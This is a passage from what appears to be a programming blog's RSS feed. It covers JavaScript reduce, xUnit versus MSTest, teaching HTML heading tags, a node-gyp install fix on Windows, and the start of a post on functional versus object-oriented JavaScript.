&lt;p&gt;&lt;img src=&quot;/img/learn-reduce/isDivisible4.jpg&quot; alt=&quot;12 is divisible by 2 and so far nothing is, so yes, something is divisible by 2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now we drew a 12. That’s interesting since the answer to &lt;em&gt;“is anything so far divisible by two”&lt;/em&gt; is now an emphatic &lt;strong&gt;yes&lt;/strong&gt;, so that’s what we write down on the top card.&lt;/p&gt;

&lt;p&gt;The next draw is also interesting.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/learn-reduce/isDivisible5.jpg&quot; alt=&quot;1 is not divisible by 2 and so far something is, so yes, something is divisible by 2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Even though we drew a one which is not divisible by two, we know that we previously &lt;em&gt;did&lt;/em&gt; draw something that is divisible, so once again, the answer to our question of &lt;em&gt;“is anything so far divisible by two”&lt;/em&gt; has to be &lt;em&gt;yes&lt;/em&gt;!&lt;/p&gt;

&lt;p&gt;In, fact, you might notice that now that we’ve answered &lt;em&gt;yes&lt;/em&gt;, we can never answer &lt;em&gt;no&lt;/em&gt; again. This makes sense since the question was if there is &lt;em&gt;any&lt;/em&gt; number that is divisible by two. And of course, once we found a single one, the answer is &lt;em&gt;absolutely&lt;/em&gt;. We still have to work through our example however, so let’s fast forward to the end.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/learn-reduce/isDivisible6.jpg&quot; alt=&quot;something is divisible by 2, so yes&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We have our answer. Translate it to code? Ok, one last time&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
var areAnyDivisibleByTwo = function(areAnyPreviouslyDivisible, number) {
  return areAnyPreviouslyDivisible || (number % 2 === 0)
}
hatItems.reduce(areAnyDivisibleByTwo, false);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Think of some more questions, run through the exercise, and translate the algorithm to code and you too soon will be a reducing hero!&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;sup&gt;1&lt;/sup&gt; if you are just learning to program, you may remove up to two &lt;em&gt;tsk&lt;/em&gt;s&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Color Mixing Demo App</title>
      <link>http://georgemauer.net/2015/06/08/color-mixing-demo-app.html</link>
      <pubDate>Mon, 08 Jun 2015 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2015/06/08/color-mixing-demo-app.html</guid>
      <description>&lt;p&gt;&lt;a href=&quot;http://togakangaroo.github.io/color-mixing/&quot;&gt;A simple app to demonstrate color mixing with rgb values&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Some self-indulgence from the nolatech chat</title>
      <link>http://georgemauer.net/2015/05/06/some-self-indulgence.html</link>
      <pubDate>Wed, 06 May 2015 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2015/05/06/some-self-indulgence.html</guid>
      <description>&lt;p&gt;Some self-indulgence form the nolatech chat room.&lt;/p&gt;

&lt;blockquote&gt;&lt;pre&gt;
(10:40:26 PM) avance: @joeellis_jk_its_joel: Is a &quot;functional alcoholic&quot; better than an object-oriented one?
(10:42:14 PM) georgemauer: worse, a functional alcoholic is immutable, you can&apos;t get him to stay quiet
(10:42:40 PM) avance: ha
(10:43:29 PM) georgemauer: and if we&apos;re doing jokes on this, I got another groaner: Where does a functional alcoholic drink?
(10:43:34 PM) georgemauer: at Moe-nads bar
(10:44:09 PM) joeellis_jk_its_joel: /kick
(10:45:04 PM) georgemauer: but hey, at least you know a functional alcoholic won&apos;t move to your state
(10:45:12 PM) georgemauer: ooooh! hat trick!
(10:46:10 PM) avance: but a parent who is an object-oriented alcoholic will blow your inheritance 
(10:46:34 PM) georgemauer: we&apos;re on fire!
(10:46:51 PM) georgemauer: that&apos;s the thing with functional alcoholics, no class
(10:47:02 PM) avance: nola developers: combining booze and code since 2008
(10:47:22 PM) avance: that&apos;s when nola got computers right?
&lt;/pre&gt;&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>Why Not MsTest</title>
      <link>http://georgemauer.net/2015/05/01/why-not-mstest.html</link>
      <pubDate>Fri, 01 May 2015 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2015/05/01/why-not-mstest.html</guid>
      <description>&lt;p&gt;This has come up just so many times at this point. A discussion on unit testing frameworks comes up and someone invariably comes up with “Why not MSTest”?&lt;/p&gt;

&lt;p&gt;Well I’ve been down this road before. Back in late 2010 when I was at EPS we nearly had a rebellion when at first we were forced to use MSTest, then were allowed to switch, and then were asked to switch back. There were a lot of long-winded, eloquent arguments from amazing developers. Rather than hunting through my email every time this comes up I’ll just paste below.&lt;/p&gt;

&lt;p&gt;I will say this. My experience with MSTest has soured me on it forever. I stopped checking in for updates (and kind of dobut there’s been any). If any of this still doesn’t hold, please educate me in the comments.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;from-me&quot;&gt;From Me&lt;/h1&gt;

&lt;ol&gt;
  &lt;li&gt;Initially there was a mandate from EPS that we use only MSTest. We worked for well over half a year with just MSTest. Eventually it was ackgnowledged that it prevented us from writting, and running reliably,  tests which accessed a test database, tests we sorely needed. It is only at that point that we were allowed to start including xUnit. It was only after several more months and with everyone having tried xUnit and loved it that we started slowly transferring all tests over. Takeaway: This was not a decision we made lightly nor without a lot of internal resistance.&lt;/li&gt;
  &lt;li&gt;(The conversation context was having tests be accessible to QA) I would say that of the tests I write at most one out of twenty could even potentially be of interest to QA. The majority are used to flush out API and algorithm details, something that only a developer would every care to look at. Takeaway: It is not an either-or scenario.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The main event:&lt;/p&gt;

&lt;h2 id=&quot;mstest&quot;&gt;MSTest&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;Tests run takes several times longer since it copies all files directory.&lt;/li&gt;
  &lt;li&gt;It eats up space on my harddrive. I have to regularly clean it out. Even when setting it up to keep only the last test run it sometimes ‘forgets’.&lt;/li&gt;
  &lt;li&gt;When taking its local copy to run tests against, MSTest copies all files but not for some reason those marked as “content”. It is extremely common when testing to have resources, ad-hoc databases, and other things stored in xml, dmbl, config, etc. files and deployed as content. There is simply no way to ensure this stuff is captured by MSTest when it does it’s copy step. This is one of the major reasons why we never set up our integration tests to run on the build server.&lt;/li&gt;
  &lt;li&gt;The fact that it copies files also causes fairly common file conflicts which cause test runs to fail silently&lt;/li&gt;
  &lt;li&gt;Our integration tests, in order to be non-destructive, mount and un-mount a test database. Since MSTest runs several tests on multiple threads you have to write code to force them to run synchronously. There is no option to turn this off and we have never been able to find a reliable hack around this. We have lots of integration tests that use a test database and they are invaluable for some development.&lt;/li&gt;
  &lt;li&gt;Prior to moving our integration tests to xUnit they would frequently fail when they should have succeeded. The time to investigate what happened and re-run them really added up and many developers would not use them at all.&lt;/li&gt;
  &lt;li&gt;Constant problems with testsettings files being committed when they shouldn’t have been or for some reason switching to the wrong one. We have wasted many hours trying to track down issues which turned out to be due to testsettings files&lt;/li&gt;
  &lt;li&gt;Same thing for vsmdi files.&lt;/li&gt;
  &lt;li&gt;Not all testing situations are best for the Setup/Test/TearDown scenario you are forced into by MSTest. Since all of MSTest is sealed it is impossible to extend it to work in that manner, this is again, more code and more friction, more possiblity to make a mistake which the client is then charged for.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In truth, MSTest is nowhere near as bad as it could be but I spend a lot of my time working directly with the test framework; maybe as much as 60% of my coding time. Frequently I code the actual logic in the test itself and only after the test passes do I extract it to other classes. I spend a LOT of my time interacting directly with the testing framework, more than with nearly any other tool (except for the IDE) so each of the issues gets multiplied many many times.&lt;/p&gt;

&lt;p&gt;More: http://blog.ploeh.dk/2010/04/26/WhyImMigratingFromMSTestToXUnitnet.aspx&lt;/p&gt;

&lt;h2 id=&quot;xunit&quot;&gt;xUnit&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;It allows us to write less code. Not only because its a more minimalist framework but MSTest frequently requires crazy work-arounds. Example: http://www.richard-banks.org/2010/03/mstest-sucks-for-unit-tests.html&lt;/li&gt;
  &lt;li&gt;It allows us to write less code since its flexibility allows things like subspec which allow you to write only what you need to do.&lt;/li&gt;
  &lt;li&gt;It is faster to write.&lt;/li&gt;
  &lt;li&gt;It is far easier to read.&lt;/li&gt;
  &lt;li&gt;When doing test-driven-development I find myself identifying the core system under test a lot faster with a system like subspec. When writting MSTest/NUnit or even standard xUnit it is not uncommon for me to have to revise my test multiple times as I gain new understanding of the SUT. Since I switched to writting most of my tests in the SubSpec style I rarely have to revise the test since it tends to highlight what I’m trying to do immediately. The inspiration for this style is taken from established and highly regarded frameworks like rspec.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;interesting-trivia&quot;&gt;Interesting trivia&lt;/h2&gt;

&lt;p&gt;Google results for ‘MSTest Sucks’ (no quotes): 28K, for ‘MSTest Rules’: 79K but all links seem to be regarding rule-based testing, not any enthusiasm for the platform.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;from-claudio-lassala&quot;&gt;From &lt;a href=&quot;http://lassala.net/&quot;&gt;Claudio Lassala&lt;/a&gt;&lt;/h1&gt;

&lt;p&gt;Here’s a brain dump…&lt;/p&gt;

&lt;p&gt;Issues faced with MS-Test:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Deployment of required assets: several tests need external assets, such as xml files containing scenarios for the tests. Sometimes these files have the same name, but are contained in separate folders (so to sit together with the tests they go along with). MS-Test has problems with that; when the solution is built, VS maintains the folder hierarchy for files set to “copy to output directory”. However, MS-Test doesn’t work with that. Instead, it deploys all the files to the root folder, so files with the same name end up overriding each other, and the last one wins.&lt;/li&gt;
  &lt;li&gt;VSDMI file: VS/TFS seems to do something weird with that file; even when a developer doesn’t change a single file in the solution, VS checks out that file, do something to it, and ends up messing with the list of tests that are to be run.&lt;/li&gt;
  &lt;li&gt;Tests getting “lost”: I can’t remember the specifics, but quite a few times we’ve had tests getting “lost” before; it had something to do with the VSDMI issue mentioned above, as well as problems related to multiple developers making changes to the same csproj. It took time for people to realize that tests weren’t being run, and then straighten out the situation.&lt;/li&gt;
  &lt;li&gt;MS-Test encourages the “one fixture per class” anti-pattern. That leads to fixture files that grow huge. Multiple scenarios are tested within the same fixture, requiring different “setups”; some tests share the same setup, others don’t. Several test methods test several methods and behaviors in the class under tests. This all turns the fixture class into a maintenance nightmare, and people tend to give up maintaining the tests.&lt;/li&gt;
  &lt;li&gt;MS-Test doesn’t support “row tests” (running the same test multiple times with different parameters). It actually does support it, but only if the parameters come out of the database. Unit tests shouldn’t touch the database.&lt;/li&gt;
  &lt;li&gt;MS-Test doesn’t support BDD-style or Context/Specification style of tests in a clean way.&lt;/li&gt;
  &lt;li&gt;MS-Test can’t be extended and tailored to our needs at all.&lt;/li&gt;
  &lt;li&gt;MS-Test hasn’t evolved since its release in 2005 (no appealing new features have been added to it, and the same old bugs are still around)&lt;/li&gt;
  &lt;li&gt;Due to the issue listed above, MS-Test doesn’t support any of the most powerful features added to the languages several years ago, such as Generics, anonymous delegates, lambdas, etc.&lt;/li&gt;
  &lt;li&gt;In tests written in MS-Test, the context/requirement being tested gets lost in C# (one needs to mentally parse those out of test method names and other C# constructs).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;xUnit addressed pretty much all those issues:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;We’ve never had issues with files deployment&lt;/li&gt;
  &lt;li&gt;It doesn’t use VSDMI; so that’s a non-issue&lt;/li&gt;
  &lt;li&gt;We’ve never seen tests getting “lost”&lt;/li&gt;
  &lt;li&gt;xUnit was built with extensibility in mind, so it can be bent to our needs&lt;/li&gt;
  &lt;li&gt;An extension to xUnit, SubSpec, enables BDD-style tests. Georges extension on top of it allows for tests that read a lot cleaner to be written.&lt;/li&gt;
  &lt;li&gt;Using its “IUseFixture” interface and other features for BDD-style tests, it becomes much easier to create fixtures based on the behaviors being tested under a given context, instead of going with the “one fixture per class”.&lt;/li&gt;
  &lt;li&gt;Since it’s open source, it gets new releases (features/bug fixes) frequently.&lt;/li&gt;
  &lt;li&gt;xUnit has been created by two people who work at Microsoft. One of them is the guy who created nUnit (one of the most widely used test frameworks), Jim Newkirk. This is probably one of the reasons why xUnit is used by several teams inside Microsoft.&lt;/li&gt;
  &lt;li&gt;xUnit tests written using SubSpec/George’s extension are way easier to read and understand the actual specification being tested:&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There’s a good “Why did we build xUnit?” page here:
http://xunit.codeplex.com/wikipage?title=WhyDidWeBuildXunit&amp;amp;referringTitle=Home&lt;/p&gt;

&lt;p&gt;There may be a question as “so why haven’t we started the __ project using xUnit to begin with?”. EPS has been using MS-Test ever since it came out 6 years ago, and NUnit before that. When the __ project was starting, we’ve looked into several solutions, including MS-Test, MbUnit, nUnit, xUnit, MSpec, etc, in order to see if the issues we had with MS-Test had been addressed by any of the other tools.&lt;/p&gt;

&lt;p&gt;At the time, the only point in favor of MS-Test was that the native code coverage tool in VS only works with it. That was the main decision factor to use MS-Test. Even though code coverage is a useful metric to understand where we’re lacking tests, that feature alone has not been proved a reason to stick with MS-Test, given the all the issues outlined above.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;from-joe-reynolds&quot;&gt;From &lt;a href=&quot;http://mvp.microsoft.com/en-us/mvp/Joe%20Reynolds-4040063&quot;&gt;Joe Reynolds&lt;/a&gt;&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;MbUnit, the only testing framework likened to a drug habit, builds on top of the syntax of NUnit, supporting all its behaviors and syntax as well as adding a bunch of useful additional capabilities that differentiate it. It also was built with extensibility in mind and exposes hooks that allow you to control every part of the process. - http://www.mtelligent.com/journal/2008/7/1/automated-testing-with-nunit-mstest-mbunit-and-xunitnet.html&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.ploeh.dk/2010/04/26/WhyImMigratingFromMSTestToXUnitnet.aspx&quot;&gt;Mark Seeman on migrating away from MSTest&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Although the document makes no mention of MSTest, this should answer most of your questions: http://www.codeplex.com/xunit/Wiki/View.aspx?title=WhyDidWeBuildXunit&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Whenever there are several frameworks that ostensibly do the same thing, then your decision is driven by differences rather than similarities. I find when I use MSTest that it was primarily designed to support quality assurance, not TDD, and so my preference is to use a framework that was designed for a low-friction TDD experience. For similar reasons, you should probably never expect xUnit.net to replace MSTest, because there are a whole host of quality assurance tasks that it does not do (or does poorly at best).&lt;/p&gt;

&lt;p&gt;It’s impossible for me to answer questions like “will it integrate ‘seamlessly’ with tool X”, because your definition of integration may be radically different from mine. There are already several ways to integrate xUnit.net tests into Visual Studio: via TestDriven.net, via ReSharper, even via MbUnit’s Gallio runner infrastructure. What need to you have that isn’t currently served by one of these solutions? Similarly, what need are you trying to fulfill with “Team Foundation Server” integration, when Team Foundation Server really has no concept of unit testing in its UI? - http://xunit.codeplex.com/Thread/View.aspx?ThreadId=30957&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;There was one from &lt;a href=&quot;http://halanstevens.com/&quot;&gt;Alan Stevens&lt;/a&gt; as well but I lost it and it was too profanity-laced to publish anyways.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Stop teaching h tags</title>
      <link>http://georgemauer.net/2015/04/20/stop-teaching-h1-h2.html</link>
      <pubDate>Mon, 20 Apr 2015 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2015/04/20/stop-teaching-h1-h2.html</guid>
      <description>&lt;p&gt;Look, I get it, you learned web programming a certain way and heck, that seems as good a way as any to teach others. You know &lt;em&gt;your&lt;/em&gt; shit after all.&lt;/p&gt;

&lt;p&gt;I struggle with this myself. I learned coding Minesweeper on my TI-83 in the back of Mrs. Pappa’s pre-calc class and kinda think others could benefit from this too. But then again, it was the 90s, and like so many things in the 90s, I have to question - maybe it kind of sucked?&lt;/p&gt;

&lt;p&gt;I know that while learning I spent oh so much time chasing dead-ends and &lt;a href=&quot;https://operationspark.org/&quot;&gt;as a teacher&lt;/a&gt; I feel like it is my duty to help students avoid these pitfalls. So let’s talk about one that’s got my craw lately. One that’s particularly annoying since every single code school out there seems to throw it in and one that in my opinion simply confuses things.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Please. Please. Stop teaching complete beginners the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h1&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h2&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h3&lt;/code&gt;, … elements.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Why?&lt;/p&gt;

&lt;p&gt;I’m glad you asked.&lt;/p&gt;

&lt;h2 id=&quot;h-tags-do-a-bad-job-of-defining-structure&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h&lt;/code&gt; tags do a bad job of defining structure&lt;/h2&gt;

&lt;p&gt;On the surface of it, teaching these makes perfect sense. Html is all about outlining and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h&lt;/code&gt; elements are for outlining!&lt;/p&gt;

&lt;p&gt;Except that they don’t do outlining the same way the rest of html does.&lt;/p&gt;

&lt;p&gt;Consider the following&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;html&quot;&gt;
&amp;lt;div&amp;gt;
  &amp;lt;Writers&amp;gt;
  &amp;lt;Comedians&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Is this indicating that a comedian is a type of writer or that they are separate categories of equal weight? Well standard html would indicate it’s of course the latter. The standard way of denoting a contains relationship is with nesting.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;html&quot;&gt;
  &amp;lt;div&amp;gt;Writers
    &amp;lt;div&amp;gt;Comedians&amp;lt;/div&amp;amp;gt
  &amp;lt;/div&amp;amp;gt&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This is how nearly all other outlining works. Except for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h&lt;/code&gt; elements.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;html&quot;&gt;
  &amp;lt;h1&amp;gt;Writers&amp;lt;/h1&amp;gt;
  &amp;lt;h2&amp;gt;Comedians&amp;lt;/h1&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;So great, we’re teaching html outlining using the one tag that doesn’t function the way most html outlining does.&lt;/p&gt;

&lt;h2 id=&quot;h-tags-directly-contradict-teaching-about-what-css-does&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h&lt;/code&gt; tags directly contradict teaching about what CSS does&lt;/h2&gt;

&lt;p&gt;When teaching we make a big point of emphasizing&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;HTML defines a web page’s structure and content&lt;/li&gt;
  &lt;li&gt;CSS defines a web page’s style&lt;/li&gt;
  &lt;li&gt;Javascript defines it’s behavior&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We put it on the board, we say it out loud, we grill students on what they would use to achieve what effect.&lt;/p&gt;

&lt;p&gt;And then we turn around and teach a lesson on an element which for all intents and purposes does nothing but determine style!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://media.giphy.com/media/y4E6VumnBbIfm/giphy.gif&quot; alt=&quot;Duh&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Of course it’s not &lt;em&gt;actually&lt;/em&gt; determining styling is it? It’s actually the default stylesheet that all browsers include. For example in chrome I have the default rules&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;css&quot;&gt;
h1 {
	display: block;
	font-size: 2em;
	font-weight: bold;
	-webkit-margin-before: 0.67em;
	-webkit-margin-after: 0.67em;
	-webkit-margin-start: 0px;
	-webkit-margin-end: 0px;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;So it actually &lt;em&gt;is&lt;/em&gt; still CSS determining style, you see? Every browser has these stylesheets that set default style, and some do different things so people like to reset them, and this entire discussion is totally not a waste of time that will only make a beginner’s head spin.&lt;/p&gt;

&lt;p&gt;With &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ul&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;li&lt;/code&gt; elements it kind of makes sense. The styling isn’t so in your face, and they are always meaningful. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h&lt;/code&gt; elements however…&lt;/p&gt;

&lt;h2 id=&quot;h-elements-arent-always-semantically-meaningful&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h&lt;/code&gt; elements aren’t always semantically meaningful&lt;/h2&gt;

&lt;p&gt;Have you ever placed an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h2&lt;/code&gt; element on a page with no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h1&lt;/code&gt;? Of course you have, we all have, but what does that mean? It doesn’t quite make a ton of sense does it? What about the following, what does this mean?&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;html&quot;&gt;
	&amp;lt;div&amp;gt;
		&amp;lt;h3&amp;gt;Puppies&amp;lt;h3&amp;gt;
		&amp;lt;p&amp;gt;I love puppies&amp;lt;/p&amp;gt;
		&amp;lt;div&amp;gt;
			&amp;lt;h1&amp;gt;Animals&amp;lt;/h1&amp;gt;
			&amp;lt;p&amp;gt;Animals are ok too I guess&amp;lt;/p&amp;gt;
		&amp;lt;/div&amp;gt;
	&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;It’s still perfectly legal html of course and we all write it, but it makes no sense. We could come up with all sorts of constructions that just are nothing but confusing.&lt;/p&gt;

&lt;p&gt;So why not just…&lt;/p&gt;

&lt;h2 id=&quot;use-the-header-tag&quot;&gt;Use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;header&lt;/code&gt; tag&lt;/h2&gt;

&lt;p&gt;You see, here we have a tag that does not suffer from any of the above issues. It works with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;section&lt;/code&gt; elements to define areas and sub-areas in a nice nested way, it has no default styling attached, and its difficult to arrange these in any but a straightforward manner.&lt;/p&gt;

&lt;p&gt;Now note, that I’m not saying we should all join hands and strike the evil &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h&lt;/code&gt; from our html vocabulary. These tags still serve an important purpose. They affect SEO, they are used in the (at the moment unimplemented) &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document&quot;&gt;outlininging algorithm&lt;/a&gt;, and most importantly they’re used throughout tons and tons of existing code. What I’m saying is, when teaching beginners - people who are still reeling from explanations of what a &lt;em&gt;“closing tag”&lt;/em&gt; is and why we indent - it might be a good idea to hold off on the confusing stuff until they have their footing. Like…maybe lesson 10, by that time it we should be able to mention it and they can nod, note it’s peculiarities as an exception to the already ingrained knowledge and we can all move on.&lt;/p&gt;

&lt;p&gt;That’s our job as teachers and curriculum designers. We shouldn’t be mere guides, pushing people down paths that we remember treading so many years ago; we should be scouts and pathfinders, finding the shortcuts that will catch them up with us at speeds we never thought possible.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>node-gyp won&apos;t install on Windows</title>
      <link>http://georgemauer.net/2015/02/19/node-gyp-wont-install-on-windows.html</link>
      <pubDate>Thu, 19 Feb 2015 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2015/02/19/node-gyp-wont-install-on-windows.html</guid>
      <description>&lt;p&gt;So I’ve run into this error like a million times already and every time I have to look up &lt;a href=&quot;https://github.com/TooTallNate/node-gyp/issues/530#issuecomment-62498772&quot;&gt;this github issue&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I’m on windows, I do an npm install eg&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;npm install -g node-inspector
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;and then, after what seemed like a success you get&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Building the projects in this solution one at a time. To enable parallel build, please add the &quot;/m&quot; switch. C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\V120\Microsoft.Cpp.Platform.targets(64,5): error MSB8020: The build tools for Visual Studio 2010 (Platform Toolset = &apos;v100&apos;) cannot be found. To build using the v100 build tools, please install Visual Studio 2010 build tools.  Alternatively, you may upgrade to the current Visual Studio tools by selecting the Project menu or right-click the solution, and then selecting &quot;Upgrade Solution...&quot;. [C:\Users\George\AppData\Roaming\npm\node_modules\node-inspector\node_modules\v8-pro filer\build\profiler.vcxproj]
gyp ERR! build error
vgyp ERR! stack Error: `C:\Program Files (x86)\MSBuild\12.0\bin\msbuild.exe` failed with exit code: 1
gyp ERR! stack     at ChildProcess.onExit (C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\lib\build.js:267:23)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Nonsense! I have Visual Studio 2013. Why do I need 2010 to install … what is this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;node-gyp&lt;/code&gt;?&lt;/p&gt;

&lt;p&gt;So, annoying defaults aside, here’s the solution.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;npm install -g node-inspector --msvs-version=2013
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That works. Annoying, but thats the solution for now.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Don&apos;t Teach Object Oriented Javascript</title>
      <link>http://georgemauer.net/2014/11/10/dont-teach-oojs.html</link>
      <pubDate>Mon, 10 Nov 2014 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2014/11/10/dont-teach-oojs.html</guid>
      <description>&lt;p&gt;On &lt;a href=&quot;http://www.reddit.com/r/javascript/comments/2lmb6n/should_js_beginners_learn_javascript_in_its/clw6h4q&quot;&gt;r/javascript&lt;/a&gt; recently someone asked if you would recommend using javascript with libraries. I responded with my logic for why I think you should, alon with some other opinions on teaching javascript.&lt;/p&gt;

&lt;hr /&gt;

&lt;blockquote&gt;
  &lt;p&gt;My position - use libraries.&lt;/p&gt;

  &lt;p&gt;I consider jQuery (and to some degree Underscore/Lodash) to be akin to the standard libraries offered by other languages. When you want to know how to write to a file in C people use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;printf&lt;/code&gt;, they don’t talk about how to implement it.&lt;/p&gt;

  &lt;p&gt;When I teach javascript I transition between jQuery and built-in functions seamlessly. I mention that here we are using jQuery and don’t dwell on what it does internally. I find it way more important for people to understand how to compose closures than for them to understand the differences in browser DOM implementations.&lt;/p&gt;

  &lt;p&gt;I explain the basic concept of libraries of course but I don’t dwell on them too much. Eventually I loop back, explain how everything works in conjunction with javascript, and teach people how to read library code.&lt;/p&gt;

  &lt;p&gt;I’m struggling currently with whether I should include frameworks like Angular early as well. On the one hand, they provide structure that will lead to people being productive earlier - and being productive is fun! On the other hand, Angular piles &lt;em&gt;so&lt;/em&gt; many concepts on top of the relatively few of Javascript.&lt;/p&gt;

  &lt;p&gt;By the way, unless the student is a complete programming beginner, I don’t recommend focusing on syntax. The syntax isn’t all that different from any other language and there isn’t all that much of it. Learn how to write functions and pass them around well, learn how to compose functions so one returns another, learn how to break your code up into modules (and learn a module system for chrissake!), don’t spend your time drilling on when a semi-colon is &lt;em&gt;really&lt;/em&gt; required.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;To this a wise-ass replies:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;blockquote&gt;
    &lt;p&gt;don’t bother with OOP and prototypal inheritance.
So… don’t bother with javascript?&lt;/p&gt;
  &lt;/blockquote&gt;
&lt;/blockquote&gt;

&lt;p&gt;Alright, I agree that there’s some big ideas here that I did not explain.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Javascript is barely an object oriented language. It is far simpler, more powerful, and bug-free when used in a functional manner. (See anything Reginald Brathwaithe has done).&lt;/p&gt;

&lt;p&gt;It &lt;em&gt;does&lt;/em&gt; have object oriented features, but most things “OOJS” people do are just calls to global functions with a different syntax&lt;/p&gt;

&lt;p&gt;A big claim. Let’s break it down.&lt;/p&gt;

&lt;p&gt;I think you’ll agree that the following is a very common pattern&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;function Person(name) {
  this.name = name
}
Person.prototype.sayHi = function(toWho) { 
  return this.name + &quot; says hi to &quot; + toWho;
}

var p = new Person(&quot;Fred&quot;);
console.log( p.sayHi(&quot;Barney&quot;) );
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Compare that to this way of achieving the same thing&lt;/p&gt;

